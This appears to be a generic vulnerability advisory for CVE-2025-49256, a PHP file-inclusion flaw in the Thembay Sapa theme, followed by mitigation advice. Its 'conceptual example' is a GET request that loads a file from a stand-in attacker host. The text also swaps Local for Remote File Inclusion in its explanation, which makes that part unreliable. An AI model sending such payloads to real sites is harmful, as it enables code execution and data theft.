Overview
The cybersecurity landscape is fraught with ever-evolving threats, and one such threat has been identified in thembay Sapa. The vulnerability, coded as CVE-2025-49256, has gained significant attention due to its potential to allow PHP Local File Inclusion (LFI) through an Improper Control of Filename for Include/Require Statement in PHP Program. The nature of this vulnerability implies that it primarily affects web applications running the affected versions of Sapa. The significance of this vulnerability lies in its potential to compromise system security or leak data, thus posing a serious risk for businesses and individuals alike.
Vulnerability Summary
CVE ID: CVE-2025-49256
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Thembay Sapa | N/A – 1.1.14
How the Exploit Works
The exploit works by exploiting the lack of proper control of the filename in a PHP include/require statement in thembay Sapa’s programming. This allows a remote attacker to manipulate the input and include a file from a remote server, leading to PHP Remote File Inclusion. The attacker can then execute arbitrary code in the context of the application, potentially compromising the system or leaking sensitive data.
Conceptual Example Code
A conceptual example of how the vulnerability might be exploited is shown below:
GET /vulnerable/page.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.comIn this example, the attacker uses a GET request to the vulnerable page on the target server. The “file” parameter is manipulated to include a malicious file hosted on the attacker’s server. When the server processes this request, it inadvertently includes the malicious file, executing the arbitrary code within.
Mitigation and Prevention
To mitigate the risks associated with this vulnerability, it is advised to apply the vendor patch as soon as it becomes available. In the interim, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching systems, coupled with stringent monitoring, can prevent such vulnerabilities from being exploited and ensure a robust security posture.